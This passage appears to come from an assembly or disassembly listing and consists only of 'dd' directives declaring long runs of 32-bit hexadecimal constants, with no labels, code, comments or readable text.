0B759D54Fh, 4FF96C6Fh, 581469Bh, 30BE4094h, 62918F65h dd 0B5095701h, 62C2E9Dh, 45BD8B04h, 0D322FC31h, 57809B9Ah dd 90F3CC98h, 0C1E0D5FAh, 820FEC13h, 0C7BEF890h, 5BC91680h dd 2001B150h, 35E796Ch, 766B0974h, 0B0E56602h, 3140E635h dd 16B52315h, 0C45CA5E3h, 6BE46019h, 363816C7h, 19009C5h dd 0BDB00BA4h, 20ABC5Bh, 253B18EEh, 0BA425339h, 0FCDCB97Ch dd 0F012055Fh, 0A28032E3h, 0C74B023Ch, 4059B4D8h, 0ACFA8BE0h dd 2F85B2C4h, 6124B1DEh, 0BC2E34E9h, 0EC041623h, 0DD22F93h dd 32E38429h, 5779EE9Dh, 8606C1B8h, 0F5E43D0Dh, 15492658h dd 1546D40Fh, 0B20D2B17h, 6C9B0015h, 982313AEh, 0BF1E0E88h dd 95D1066h, 15A9FC80h, 0E8734DFBh, 0B73FD3h, 9EECE105h dd 0B5010B09h, 0FCD0D95Bh, 245E86C7h, 82EF3677h, 1841BD89h dd 0C396C14Ch, 4F4609D4h, 0E450602Ah, 0EE413041h, 61010FF1h dd 9EF27858h, 0A96E5B80h, 172BE079h, 97FAAB2Ah, 0D1AA987Ah dd 7A292D5Eh, 0B0A8143Dh, 75608C00h, 18BA9E7Fh, 0F98B2567h dd 0AA85390h, 0F1120600h, 0CCC0F0B9h, 0B12E00BBh, 0A7FB5C94h dd 625A2C37h, 129BF094h, 0D4A839C0h, 2B11C29Ch, 485BCDB5h dd 9AA26578h, 7225215Eh, 0E74FA6h, 96D4AAE5h, 68D51C09h dd 4B855489h, 5539864h dd 0C4517B6h, 0CF7D699Dh, 0DF01F4B8h, 73944E60h, 62FD7F0Ah dd 4BA1D893h, 267B5BF4h, 0B2A4F873h, 486F0099h, 4FD4C9D7h dd 2DFB2BF9h, 0BC7BB9DAh, 44EB804Dh, 2FC97CBEh, 663162D0h dd 0F19E2B72h, 0C45B1DC0h, 0ED2F597Bh, 8427751Ch, 2502F069h dd 0C703F25Ah, 5CD5F819h, 43F190EAh, 474A24C3h, 0EF6D6099h dd 9D010C0Dh, 0E1BEC0F2h, 0AC7F5EF7h, 0ED9B5B4Eh, 0F5382C0h dd 5E4AF8BFh, 0C0C985E1h, 0E8B90B6Dh, 3705200Fh, 2219812Fh dd 19FCAFACh, 0A661008Ch, 2EBE3779h, 0A09785C7h, 80879996h dd 20599035h, 0B4D917D9h, 4C78F9BEh, 0CD2E18F2h, 0F1C20B80h dd 0B28B924Ch, 3B884847h, 0A40D5CD9h, 6A4AE7CAh, 337E042Bh dd 12E09DFFh, 95090B56h, 60591A59h, 1D6BDA4h, 89C991A9h dd 8507D995h, 1998DC3h, 0E684C7FCh, 79C181EDh, 0CCB8042Fh dd 0E3516A80h, 0FB7B4F9Dh, 0B3802E02h, 80A3DAAFh, 0BD33FEA9h dd 0A52B6949h, 0F8C06EEDh, 38E99B19h, 7CABD03h, 772957BFh dd 8B5BACE1h, 0F68CF050h, 7F0379Dh, 0E0BC158Ah, 63506FF6h dd 0FC608CBEh, 106AC1Ah, 833F7FDCh, 3069B089h, 137B014Ah dd 5BE0FA5Dh, 838BE6DBh, 0B0028062h, 0F57419D9h, 330E1C44h dd 0A0CD95CAh, 315D2081h, 0D96B2CB0h, 5C4EE625h, 860104F8h dd 0F6AAE93Ah, 0DE54C6FFh, 6E5E00DCh, 0FC558B76h, 21626F28h dd 0F360F2AAh, 0F10D707Ah, 0A5A90202h, 70B9ABA1h, 0DB2EE5FDh dd 0A4B98F1Fh, 3380616Ch, 510F2DF1h, 0A882218Ch, 9D8D21DFh dd 0F89A9E76h, 0FAA5D10h, 0CDD21216h, 233134B6h, 501D2FD1h dd 18404DE8h, 1E12583h, 0C2A8A7D9h, 8BC3F554h, 9DB030ABh dd 1BA52FEDh, 6D20B1A8h, 60610517h, 0D471BD0Bh, 0FB8C3575h dd 9DB0D9B6h, 2000908Fh, 0F0B5082Eh, 9EE8160Ch, 0DB70801Fh dd 6B28681Eh, 0B8008BEAh, 0CC4CB56Ch, 3C7817E7h, 111003C1h dd 9A5A2832h, 4F1C5D25h, 1BDD40B2h, 22068F3Fh, 14ADA95Ah dd 6B2A9554h, 40EB2D75h, 603649B5h, 0D6C66A09h, 61F9CA14h dd 7326C9A6h, 5A92D811h, 2FF37913h, 8B1FA7F0h, 767A9B5Eh dd 73D81C00h, 313BFC8Eh, 1E402990h, 85891756h, 5F8C4A61h dd 0F5C4B964h, 0B8900590h, 0F11FF012h, 75810434h, 13040699h dd 9B66259Eh, 0AA71C083h, 0EC775B8h, 0A6979ED2h, 0EF588B3h dd 85211900h, 8DE7521Ch, 0D5B8CC45h, 90975BC7h, 6F206Fh dd 64AE3769h, 8AE092C6h, 0A21F1D32h, 7E7D4A3Dh, 7400DCD5h dd 0B4854999h, 540BD880h, 5F57A8Bh, 3FE61BEh, 3A2341Dh dd 5FF85130h, 29413041h, 12A1B8B7h, 39B5B61Bh, 445ECF8h dd 0B7D80982h, 0F17184BAh, 39F59D5Eh, 502DA8EBh, 97858F4Fh dd 0BE0B47EAh, 0CA06DA64h, 10510CA1h, 3A15FD18h, 41623E3h dd 0E00C9DCEh, 1D5179C0h, 0D56AAFB2h, 8481F7B7h, 860F641Bh dd 411D326Ah, 0C119A65h, 989D231Eh, 0C0EBDD1Fh, 6C571108h dd 0D0A06C8Bh, 20FA222Ah, 0CA7B1D5Eh, 0F4C65171h, 57B8697Dh dd 2DB54F0Bh, 93C6F7B6h, 1283BE39h, 379D85C7h, 9CECF1Bh dd 9D898A81h, 25C32C75h, 6AB761h, 6823E32Fh, 6F0734B7h dd 56E7B8BDh, 7EB3A00h, 0E99D3561h, 0BC54B931h, 23A21279h dd 0F03F499h, 80218250h, 6D0AE425h, 0DAAC047h, 4A179099h dd 88FEA736h, 852A31A5h, 11A3B4F1h, 8B7314B0h, 8060C107h dd 0C064E8E1h, 67C4109Bh, 2D5C823Dh, 3BBEBCA0h, 0DCBF77C4h dd 0C7F56B1Dh, 353864C1h, 0A14FF6FBh, 970B0438h, 3E80499Bh dd 23D055C7h, 0E909B525h, 6E2BC04Bh, 9163CB1h, 0CF083AE8h dd 384F4091h, 2B17E86Eh, 95C85F72h, 45C002Fh, 0EE903DE1h dd 0EB006C86h, 0FBC7F4BDh, 0A3AC6320h, 412FA91h, 2CA1A4E8h dd 0FE50450Ah, 0C5802668h, 0B3303502h, 9E5B005Fh, 193AB7BEh dd 2C1FD7B5h, 0E809A482h, 0B7E329D6h, 7DAE807Ch, 60AB9520h dd 0E73A10BFh, 5E4700EFh, 58D10F5Bh, 0B8C461DFh, 80002C11h dd 98E899E5h, 0A9047DD6h, 28180A69h, 819422C9h, 0E5E18180h dd 3E274783h, 7A5A7FE8h, 7B14008Ah, 0EC9DEE09h, 0B6C0263Ah dd 260D0840h, 25BD2302h, 2B438E08h, 80ABBD0Ah, 0F7C22014h dd 0E834D997h, 3AFDB823h, 0C0005FBCh, 0E78AC2A5h, 0B74655B5h dd 3862A500h, 5D28BD8Bh, 35205B09h, 0AFB9010Ch, 0E85C92BAh dd 2C2C35E4h, 0A1266237h, 6184CF30h, 70C78BB8h, 140B9F2h dd 95B273E8h, 80193757h, 6AD5164Dh, 0EB00700Ch, 0BCBF6911h dd 0B2223CB6h, 0DE305FB2h, 421A80A4h, 3FBBEBh, 0CB81F960h dd 5052FCE7h, 19C66158h, 4FC707C9h, 0C8BF0F10h, 2B217AC4h dd 3ADF8100h, 0A1ED758h, 286C3BE8h, 0B0510FF6h, 7262CA01h dd 724098EFh, 5C2403B2h, 9A7800Bh, 725673BAh, 2A5033C0h dd 535B4209h, 50004F7h, 6C29FC09h, 0CD277A76h, 8166C487h dd 71DED39h, 0B4E8F261h, 0D03760AFh, 7813BD80h, 246B39CDh dd 10C301BAh, 1E19852Fh, 38E8EBF9h, 864FD0FFh, 3EB2F314h dd 293511F7h, 60B95833h, 0A47EF88Ah, 0EC806107h, 0F159A219h dd 0FABD551Ch, 0E83A7003h, 9B674F25h, 3CAE85C4h, 61008AB2h dd 0A8371362h, 0DF137B52h, 0AD4946E1h, 0D0BA5323h, 41026098h dd 0E88BBA03h, 7BC6CACDh, 808B700Eh, 969FD931h, 9002215h dd 0A3D3F9BDh, 0DFBACFC1h, 6B930061h, 1260453h, 0D85E092Bh dd 9212415Fh, 88E1A548h, 3FB86D7Dh, 42E47000h, 0CD8D89C5h dd 59FFA919h, 79167FB1h, 0DD374310h, 0ED807B05h, 7E9B098h dd 180083BCh, 15AFB4B6h, 0C44BB1CFh, 0B9125DE6h, 8C18A8EEh dd 3DC44504h, 0E9B9BE55h, 2732E984h, 0C681C820h, 9E7B12B5h dd 42B1A105h, 997E89AFh, 4D86892Fh, 0EF85C013h, 3150E475h dd 0E80496E7h, 0D82B7E26h, 0DB80ABB8h, 8AA75889h, 50932A07h dd 347AFB5h, 0C252E945h, 16B236F6h, 48C91230h, 0D1042A59h dd 0AF5B762Bh, 6B3D3F6Eh, 91205980h, 0AEE932E2h, 8953A605h dd 72A04D95h, 278D775Eh, 0CECF2649h, 60BD6340h, 2FCA4C8Ah dd 6E5B1A27h, 0C0FE8471h, 7F89CAE5h, 0E9E1AD42h, 81004551h dd 0EA685CDEh, 29E4DF51h, 1814F9C9h, 0A2094829h, 81582020h dd 19F0DAEh, 0E15BF21Eh, 9B4722C0h, 8B08110Fh, 28155DB5h dd 8FAE3A7h, 0D453A585h, 93F10072h, 1413BEC0h, 833681E8h dd 0FF0BF517h, 74C1D9DBh, 0C8A014FFh, 0EC0919A3h, 798E0FF6h dd 95D7800Ah, 158D0128h, 1AC51665h, 63E0A0B6h, 5F012B73h dd 0BB839143h, 67609457h, 9A8CABCEh, 0C53CFAB5h, 0B725F9DCh dd 4616A08Fh, 0DAF7C3Dh, 9E815A0Ah, 359DC8BAh, 4AC71F57h dd 0DD80E7DAh, 6D311894h, 0B9D6D306h, 65CCA69Fh, 0C8BDBAF6h dd 0F9759D0Dh, 0C0969CACh, 0E76103D4h, 2F7D1792h, 0A161339Ah dd 8960020Ah, 55916A9Ah, 61471A74h, 966DEDDh, 8859C0F1h dd 0B2B31C8h, 174A8B0Fh, 64B65C55h, 0ADE0268Ch, 0E0D7E5C6h dd 0B18B1F56h, 0D15D1D9Dh, 7A3FBE2Ah, 846EFC0Eh, 0F9BE7FA3h dd 1101CE16h, 0DBA0CFF7h, 0E9025DD5h, 0BD8BD427h, 0A0675A59h dd 43AD952Bh, 7C9E542Dh, 0C97A8364h, 0A17DD8B1h, 4D140DB8h dd 20C809CBh, 191B951Bh, 0B8F0805Dh, 48A101B0h, 4F38E649h dd 0FF206F6Ch, 0D8ED512h, 1676430Eh, 817760D3h, 0C8E9E5C4h dd 0ADE170BBh, 660523A1h, 6405607Ch, 0DB4E8FB8h, 0EA7A87D9h dd 23A8721Eh, 0ABD8E480h, 0F80297D0h, 0DF7D07B3h, 4FEBC073h dd 3275252Ch, 9B98260h, 4E175A15h, 2A8BC3Fh, 297EAB8Eh dd 0DDA9B98Dh, 1F44A74h dd 206AD111h, 30CB5078h, 454E8573h, 0ABFEC489h, 493304AAh dd 0A53DC349h, 0F3C58A0Bh, 0BACA70C8h, 4B89EC16h, 8BFFDB02h dd 0DD3757C0h, 0CB9E8416h, 8C9AFE97h, 955E3888h, 80C2355Dh dd 0B950E7A0h, 3813C9A6h, 85F65E41h, 0CC3466E0h, 208ECF00h dd 0B3AFE2BCh, 0D8D1289h, 0D139D01Ah, 8BA28580h, 2690EF4h dd 41C692Fh, 8114A850h, 0DF31FA99h, 3969D0F3h, 0BCF160Fh dd 3D3FB12Fh, 0BA2AB9F9h, 1FF87A34h, 0ADD61F80h, 6A4FB24Bh dd 0ACC0DE9Bh, 0CBBA4332h, 489D8B2Dh, 30BF6635h, 8A544FEDh dd 4260B7D8h, 0B324EFEh, 0DC6B9606h, 0ACF99028h, 0F19FFA1Fh dd 28B11E97h, 1AF05D66h, 2D01885Dh, 63C403CBh, 0C32B9870h dd 0CC38D939h, 786140EDh, 50F93F90h, 0A28C8CEh, 0FB97991Eh dd 69ED94C3h, 80C0A085h, 0D67A0015h, 667137D2h, 69DC68Bh dd 2749D7F6h, 9810F1BDh, 7D28B531h, 78C50804h, 39ED19E9h dd 41BB66C0h, 7BE38DF1h, 1CA61B53h, 0B89698E0h, 9901510Eh dd 8950819Ch, 42871BDh, 0D1FF5B09h, 1DC9DDEh, 6C3AD078h dd 2AD7163Fh, 764E72ABh, 26AF521h, 62F39B66h, 0A4851482h dd 1E07AADEh, 598AB9E7h, 21AF39D6h, 0EB95E085h, 0FDB805C4h dd 0C0EA9E29h, 0F28AFD1h, 0FAD851BFh, 5E6EE9CCh, 1080CB0Eh dd 9093258h, 0AA9C5B5h, 7780F237h, 0BDDFE7C4h, 0DA99E8h dd 0FFF5D981h, 0D600B92Fh, 1CFC8957h, 53293Bh, 3C5C475Dh dd 0E7802DAFh, 0CE5F4C24h, 4B910A0Eh, 70515B06h, 591DE917h dd 0BB8B02D3h, 4D0F2FCh, 0FF64DA8Bh, 943FEE35h, 68001A23h dd 0FD6B8A3Eh, 0A0874B6Dh, 55822A68h, 5C4B3954h, 0BC00DE99h dd 8AF10547h, 5A76BAF4h, 377C2060h, 0DD0E951Ah, 27DCE7Ah dd 756166D9h, 35620189h, 74E99DF6h, 0E300D40Eh, 0B9CAB34h dd 4E0C011Ah, 74DFF851h, 0FF6A1912h, 0F4B855F9h, 858FB801h dd 283B3DBAh, 0C3BDC743h, 0B5B72F22h, 0BFF9E7A0h, 77246339h dd 3509845Ch, 0C2715530h, 985109ADh, 0C3D361Eh, 0B0BE655Fh dd 0A4A8F1Eh, 0A96DD8ABh, 96B2FB0Bh, 1037D072h, 920FC9B5h dd 0BBB4BCCh, 11FBCEEh, 0CD605572h, 2FDDBF1Bh, 2685B033h dd 0B57C8B6h, 3C730395h, 0D816DB24h, 0B11706F9h, 4B02A226h dd 72E113C0h, 2DCB90CAh, 400661C7h, 855A502Bh, 0D1E0C8D7h dd 2CF8150h, 7BF53C0Eh, 445CE95Bh, 0C75DBB40h, 5D854F8Bh dd 1DFE96C6h, 2B4B442h, 0CDBD2B47h, 1E60256Bh, 2A0EBF3Ch dd 2AD0643Bh, 0E9FC421Eh, 80628458h, 8A21C8B2h, 759D3302h dd 0A5367E0Bh, 5C29C257h, 0CDC66C2Ah, 0CB80ECA8h, 0E991154Bh dd 9102884h, 2B65A98Dh, 1E01A597h, 0CEB756FEh, 0A8959220h dd 4AC59D6Dh, 0A54F9105h, 68AC042Eh, 0E2B58D87h, 74550ACBh dd 0B201DCC2h, 0F1B0DCCh, 8DC4B791h, 6B8CEC15h, 0C179271Fh dd 427D7000h, 1E0224h, 0C7BDE4B1h, 0F82BBEAAh, 44C26705h dd 9F947E16h, 945F834Ch, 0F3D32D80h, 88942646h, 299D2D40h dd 573A05BDh, 4A97B97Dh, 399EFCB9h, 80279BCAh, 33DB7313h dd 5BD7044Ah, 0A6FCA996h, 806AE1FCh, 5E0FABCCh, 52E89089h dd 797ABD33h, 52F55B80h, 4F7AC8B8h, 0C3F33088h, 0BA516FBFh dd 4B4C2810h, 0C988C85Dh, 33AD071Ch, 0D0A0DCC2h, 2798348h dd 9D89F475h, 0BC9558C1h, 0D301DCAFh, 0C262563Bh, 0A020B731h dd 8CA64B7Ah, 88690DF5h, 0DC2E560Bh, 33375400h, 81AC0C66h dd 0C5CF09D7h, 505597Ch, 0E37ADB1h, 0D31B4195h, 0D7BCA7BDh dd 6A291012h, 8E129048h, 9E97058Dh, 9DD18020h, 0FE58BFA5h dd 504B0E81h, 1843C28Bh, 878C103h, 19CC56E9h, 51F5582Fh dd 2B40096h, 0EB4A0F0Eh, 3A3D4325h, 0D1C1C049h, 0FEFE820Bh dd 0D72BB621h, 55B678h, 351FF5F9h, 9915E92Bh, 25201290h dd 0F88B242Ah, 0AE53A547h, 0BC01D5D2h, 88D648E8h, 1C041D5Ch dd 4DB4498Dh, 22DFAA68h, 0E1FFBF12h, 0ADE023E6h, 0F95BEB4Dh dd 950EC784h, 3AC41069h, 86931D04h, 9B5039F2h, 8074155h dd 3B81011Ah, 0F53E0515h, 3136305h, 0ABF24E32h, 0F11DF8Bh dd 0B8433D60h, 472500C1h, 0AF2B2354h, 8D4C0FE2h, 8A60826Fh dd 0CF78C1EEh, 6B588C02h, 1B0C4D20h, 0D504E180h, 0A031E8Ah dd 5ACA34C9h, 3519C2F5h, 851808C4h, 0F33D306Dh, 733379C3h dd 0E82DFF05h, 8C005EBCh, 52F1BD56h, 2D121BAAh, 25C45090h dd 0A4720E00h, 846C79EDh, 3B9B0F23h, 9E4735DEh, 662C6031h dd 905D2537h, 1CFDBCBBh, 5FF2C2h, 0EFDA336Bh, 702F781h dd 8B7AA64Ah, 303D7FD9h, 55062701h, 65D43009h, 5C6663F6h dd 0A0562C6h, 0E89471EFh, 2DFF2EC8h, 9FE11F03h, 44860808h dd 5F4C5302h, 16B6B10h, 5227B969h, 615BD9D7h, 0DFA6F6C7h dd 0CFFA2713h, 9C917D95h, 4516AC61h, 0F53B370Fh, 40495861h dd 0F6EBB335h, 10150B40h, 9191449Ch, 0DB6E5Bh, 0C620F8DEh dd 2E226D46h, 0B583C40h, 1E89B372h, 0BDC6754h, 1DDE9CEh dd 0ADBD91A1h, 540C0531h, 27295B6Ah, 0E526195h, 0CF9518E0h dd 0B1C06953h, 0D8728BE9h, 676EB531h, 0EA405360h, 7888C2CAh dd 7C1BBD5Bh, 19D8D1E0h, 0D431A12Ah, 42798525h, 0A537D523h dd 3A192901h, 6F6A896Bh, 976B094Fh, 56E932EDh, 5A48DCB8h dd 0BFD1714h, 2D692A21h, 0C1852900h, 890B1994h, 0E79EC046h dd 43B34CB0h, 50406D38h, 240A34FEh, 0DCB5FFF5h, 71AFD34Bh dd 0C76480A6h, 0D6688AE8h, 3079743Ah, 0F6270EE9h, 0E7033B22h dd 6272341Ch, 0D620F886h, 811130B8h, 66392986h, 0F01376F7h dd 378CE879h, 76E26038h, 0D1ECFF01h, 612407B2h, 7C4B7C8Dh dd 3201DE35h, 5203D9C7h, 83D09834h, 0DAB80660h, 7A1B50F3h dd 6F12F130h, 55918509h, 0FD46B529h, 2DCC96FAh, 0ADDF3910h dd 7FEDFA00h, 279D4BC6h, 9AE42408h, 0C85349FCh, 9603AD0h dd 21950152h, 0F8591225h, 88576A25h, 85C7FC05h, 9E6E928Dh dd 3B93C087h, 2D37B16h, 0BD31ACA4h, 0C4C422E5h, 0F19ABC84h dd 9E3B2E6Ch, 5D334B45h, 38D6EAA3h, 0F74A38E9h, 52AEA1D6h dd 700C30D0h, 0F447311h, 10E8C101h, 0B8410E5Ah, 5803F84Ch dd 0E786BA94h, 0EF3636EBh, 0F71C6402h, 501B190Bh, 21A02829h dd 13586618h, 1B845701h, 0C04A8BE0h, 0DEE0B0A6h, 4702C9B8h dd 0E19D2988h, 0F4EA7C17h, 6978EF02h, 40DBB70Fh, 2E7CCEE1h dd 509F05FDh, 4417785h, 6A30E80Bh, 0F99D2B1Bh, 0BF71A295h dd 0F2D62FBh, 0AEFE0116h, 9AEF7E95h, 0F3C46A45h, 66957022h dd 0EA315224h, 5BA58425h, 6CBD6F87h, 1B6F3Bh, 0C4F749CBh dd 5FD4AE67h, 0AB50808Ah, 0C397C733h, 75FD9499h, 6D0038BCh dd 224C83D4h, 1C07429h, 51B9BF96h, 0DE50454Ah, 9EB7D7h dd 4A5A8D3Ah, 1D28A848h, 4596D565h, 0D612F360h, 3BDA4C8Bh dd 8CA4B3C0h, 1701BDB4h, 4D5B04AEh, 0D759A9D9h, 7DEE2931h dd 911FD10h, 52445582h, 0C003979h, 9F1D0AD9h, 51C7FAh dd 5B211796h, 0BB6682C8h, 5F702812h, 408012FCh, 0DD1DD011h dd 1B517200h, 0AD07E373h, 1CFA0532h, 6519BAD9h, 0E0BAE6E4h dd 0BA250D9h, 9131C54h, 62C07C3h, 0C908BCDEh, 5AF63E2Ch dd 896703B5h, 455AC486h, 32083F20h, 0CEEB0147h, 1C1EA7DCh dd 0D06938DDh, 75F1B7B6h, 0DB2EC283h, 0DB3CC07Fh, 4B50894Ah dd 8435DB20h, 20BEB359h, 0C97144A4h, 80A7FE04h, 9881CF32h dd 0AE42C7EDh, 28CC9856h, 0C6F52436h, 4BBD0070h, 0C73A4DA2h dd 8E0D1102h, 0C0AFEB76h dd 0B5B88601h, 42604ECFh, 17B71713h, 0D1FA8BC9h, 62275BBh dd 151D5F0Ch, 0C5964687h, 0E726C539h, 676A5B15h, 0BC3A0270h dd 8BF5CDDCh, 32197440h, 3DB39680h, 0FEBB5091h, 0F26E5Fh dd 0B9ADEC1Eh, 4A6131C4h, 5B89FA16h, 5410C8Ah, 8070CC70h dd 0DED5F732h, 276056A5h, 0D0C2136Dh, 1E397529h, 0ADDA30FAh dd 1A070821h, 2FCD2156h, 54BC20E4h, 2912EE80h, 4B7D5C04h dd 96DB920Eh, 49F23656h, 81146E01h, 0C4208290h, 8700471Eh dd 0D9C54D0Fh, 1E357C31h, 9B505F5Bh, 96823383h, 6CF8D941h dd 9A0A292Ch, 70A1F349h, 731428C0h, 2F8CFDDEh, 0BB5E08FEh dd 0DB260509h, 8E9CD0FCh, 1F73F701h, 2503FAA3h, 0D1B65654h dd 5ED287F0h, 286E7802h, 55D739E1h, 6F2DC5FEh, 75C74089h dd 32120C4Ch, 0B04F7B7h, 20803B1h, 0D3DE7612h, 0E52270C1h dd 20813FF4h, 0D8782FA6h, 0A66F072Dh, 0A1689343h, 0DE6AC65Bh dd 0ED3D80D0h, 91EEEB8h, 690F8385h, 8ED6FB09h, 0DCA4C79Bh dd 0C0ECE8AEh, 0E0F4CB81h, 0F2FA1CE9h, 0D4B765FFh, 0B5093501h dd 0C1122F75h, 1270CFD3h, 7C37F25Ch, 277CB8DEh, 7ADB0229h dd 2F58FBA7h, 6090D611h, 2AE95081h, 1E871020h, 0C4F84B7Ch dd 2A51BCBFh, 0E2031056h, 0C1AA60DBh, 8123135Fh, 0D22EBC0Eh dd 89C16F94h, 0B32C0F85h, 0B42B482h, 0DCD8D457h, 0D3876B17h dd 9EA4065h, 35570AC3h, 8515114Dh, 20ABE450h, 9C0929DBh dd 0F1E5E116h, 77B8EDC8h, 93A024DCh, 559C008Fh, 0B97EE1A7h dd 154FB709h, 245F05Fh, 0B3905D18h, 7ED6509Eh, 45685140h dd 0A41A3F84h, 0B5DB2AE3h, 37D76AD2h, 666B8062h, 0AD0FE774h dd 86A16A75h, 875615A1h, 827063E8h, 0C4306D55h, 15856018h dd 0A5202AEDh, 409026Ch, 0E48766BCh, 5B49845Eh, 0F8A78D6h dd 9D299609h, 0FFFF6051h, 6057ADD1h, 982215B8h, 7BCAB14Bh dd 4CCF6125h, 0E7B52960h, 311700A6h, 1FBF3D72h, 904CAC7h dd 9D33026Ah, 409A9AFh, 9CBCBB66h, 44E8F0E0h, 300FB0Dh dd 33920B34h, 4885CD3h, 9C7A1B52h, 0D6F6FC60h, 5F610105h dd 7D306FD9h, 0E92D4009h, 0E50DC825h, 16BE9266h, 0F001F6B6h dd 18AE01ACh, 70FA3A4Eh, 12830249h, 0F3B1B9D0h, 0A6D87A4Eh dd 802ED926h, 2D985290h, 817ADE9Ah, 0A3BFD88Bh, 12D37B97h dd 90E8905Bh, 0E6FA5CA9h, 96802B01h, 0F1D0F570h, 0C1974Ch dd 0ECD13B24h, 4DBEF46Eh, 6643FE00h, 23EB801Ch, 612FE35Fh dd 2FD98B68h, 0ED394229h, 9D03DCA8h, 96298442h, 613AFA5Fh dd 5ED6F571h, 0DF4D5A32h, 9048666Bh, 80DF02B6h, 0FF6A13D7h dd 22708173h, 6B519002h, 3802998Dh, 53DE2C11h, 0A1E6F8F4h dd 0F242B2B4h, 97A2D0FDh, 2B3F4931h, 4D9C60BEh, 8600E2DDh dd 666CF3E8h, 38A7DBF7h, 0E60EB0D7h, 0F012B370h, 3458939h dd 5EFE8102h, 1158937h, 6D7CBC6Ch, 828CB33Eh, 0B8C7EB2Eh dd 25415EE8h, 0FA413BCCh, 1EEBB220h, 0D61A7013h, 15816180h dd 47242F02h, 1B5D3981h, 0E83257Ah, 2B06DE74h, 0D4480CC8h dd 5BD12F73h, 1245269Eh, 61E615h, 8050DC8Ah, 0B85BA7DFh dd 0A029B774h, 0D0ADFB22h, 0A7204F5Eh, 0E41C7125h, 880F1249h dd 0D070AE13h, 0C5E4C3Fh, 2F9D03F2h, 0E8A96936h, 7B882E5Fh dd 0F17B005Ch, 71FE0BA0h, 0EA84F63h, 0A1004728h, 0E901D35h dd 4665A6Dh, 5B97B3BFh, 2280BD5Fh, 21CC110h, 4854E96Ah dd 24958FAAh, 34BAF8B9h, 4F8E044Eh, 886DBC5Dh, 0E394A83Ah dd 0A1B4A9B1h, 0A5EB9417h, 74FE251Fh, 25E0604Ah, 0A800EA70h dd 0B1A539AFh, 542E241h, 0B9931663h, 9D46E889h, 4B7A8D9Ch dd 5B107FCAh, 0F88B0CD3h, 4E55896Ah, 460A70Ch, 0DDCB9F9h dd 0A5A05AE7h, 14B452Ah, 844BBEB2h, 66EBE52h, 643F0A0Fh dd 42A540C0h, 9BA3FCBCh, 2B0207F2h, 70D958C0h, 25D4A6BAh dd 16E7C5FDh, 0C01EEDA7h, 48DCC96Fh, 52553A40h, 7D10E133h dd 880D1201h, 5BF07BBAh, 2214CE0h, 9D8962E2h, 32821F01h dd 105E04EDh, 1D09D8EAh, 69F17110h, 640464Dh, 9054E891h dd 48BF7A5Dh, 205EEC60h, 0AB247149h, 89762C00h, 0FC644CEDh dd 49EF09A9h, 8796183h, 0DC197C5Ah, 9C91D201h, 6E860E9h dd 0DDC97E10h, 0B7F4E3EEh, 315B5C02h, 640A8185h, 0E4CB3D28h dd 222BCA4Bh, 0B2535F73h, 77B24A69h, 0D93B6C80h, 0B8705B1Fh dd 28F6ADBCh, 25D4C954h, 0EEE1E49h, 4DC4996h, 0FF5DBB31h dd 0DF7C8387h, 1140E1AAh, 0BD882F95h, 971792FDh, 0B1451614h dd 0E0F0CB36h, 92FC069Bh, 0DA8A6112h, 9C882CF2h, 5FEF8180h dd 851B60D9h, 76045389h, 4212F489h, 500963D7h, 0AC1678DEh dd 0C0E1030Eh, 0C387DB17h, 8B5E61E0h, 15C1B510h, 268A9778h dd 0F30192AAh, 94902225h, 0CA00DC3Ch, 2C0AAE45h, 9535B547h dd 55DB599Ah, 2ECC0571h, 0EF783A15h, 0B501DD05h, 2EFDA159h dd 8A0F6831h, 0B789472Eh, 399DE23Dh, 905BF3F0h, 0F5E55A21h dd 3CF0BCF9h, 0B9E100A8h, 65C31480h, 0BF00B25Ah, 605006AAh dd 0DC810F52h, 0E9590B35h, 0A3F7BE10h, 4A8C1200h, 0A8898B6Ah dd 27F600C4h, 0B3E8465Bh, 0C501FEF7h, 0B5319061h, 7F4518B9h dd 0F36220BBh, 8A076316h, 0DDC5891Eh, 6728C4F0h, 7A430072h dd 2481A368h, 0CEBF565Ch, 0DCDA12F4h, 5C7FB05Fh, 403B822Dh dd 0B41B9100h, 5F00F445h, 51BB75D4h, 4864BC22h, 0AD100E2Ch dd 2E503E03h, 15104809h, 0DDCB5B38h, 0B30B2608h, 9A2E4EFh dd 6C9D6E00h, 5CB0D668h, 2C98B700h, 2AE9872Dh, 5A6FBD02h dd 0E176D441h, 80D08631h, 600F25D6h, 4CD82B39h, 1C0186EFh dd 2625A6A5h, 0A8F71BF7h, 7890E7BFh, 68BD0408h, 0BC6184C1h dd 0BF52D85Bh, 4073BEF8h, 8287E4D3h, 3AB33D00h, 0A66ECE6Dh dd 39E60978h, 0CA2EABDEh, 6F72F352h, 54F2D244h, 0BC70A94Bh dd 91380288h, 0CB41D8AAh, 32067D46h, 1C5848DAh, 26C400F2h dd 3D560CB0h, 0F212713Fh, 76F34F2Ch, 0D996663Bh, 0BC90BD89h dd 0FB8D2695h, 63765201h, 76B7ED4h, 707F0795h, 0E5A17EA4h dd 0EA9DBD89h, 9B5CF0Eh, 2E5D791Bh, 6B08406Eh, 0A4FEC4FBh dd 2A9D7412h, 0E3C96C0Ch, 0FEE4C75Fh, 50DFB396h, 13FA0E20h dd 4E0F45BDh, 4B11862Ch, 32F77985h, 0DEAD7BB0h, 3372771Ch dd 0B300336Eh, 74A668B5h, 5660314Fh, 245BF984h, 773E59F1h dd 0BCEB4950h, 0AF491C33h, 56720090h, 95018D4Bh, 73FFD169h dd 1816596Dh, 5CC1F847h, 2D10D460h, 0CDCD4017h, 82210541h dd 0C3805528h, 363D97BBh, 507CB013h, 5F127BB3h, 0B878F05Bh dd 8202145Ah, 6A64F1C7h, 0D6BDFF6Eh, 0D59B2580h, 3E7C19Dh dd 9589BC32h, 0A3480415h, 0EFDA2500h, 60176469h, 0EA39163h dd 598D31C4h, 8E66F372h, 0ED2F1C55h, 6C4BE08Dh, 80139E7Eh dd 72FD83DBh, 28C19A8h, 46716B6Eh, 2565816h, 0A28AAF40h dd 82620996h, 8D795ECAh, 252128D7h, 34440BC7h, 0EDA18F00h dd 5D0C4D34h, 0CA234B1Ah, 99FB2A52h, 3AE3810Eh, 23656021h dd 0A71635BDh, 3E289E0h, 0F4E8D4h, 39F3A3E6h, 81DF77A1h dd 0CA94CF04h, 0A975B5h, 0FA8C1BACh, 0EC760929h, 5688C2C5h dd 65321D89h, 42969FEEh, 37C501D4h, 0E48BD7BAh, 9662FEFFh dd 269BB56h, 90B8D9Bh, 0D9A77D71h, 0EF818042h, 297C6B5Ch dd 0EDB7505Fh, 0E123F313h, 8029782Fh, 0CD578A92h, 0EEB095CEh dd 264B458Dh, 6E6B34DDh, 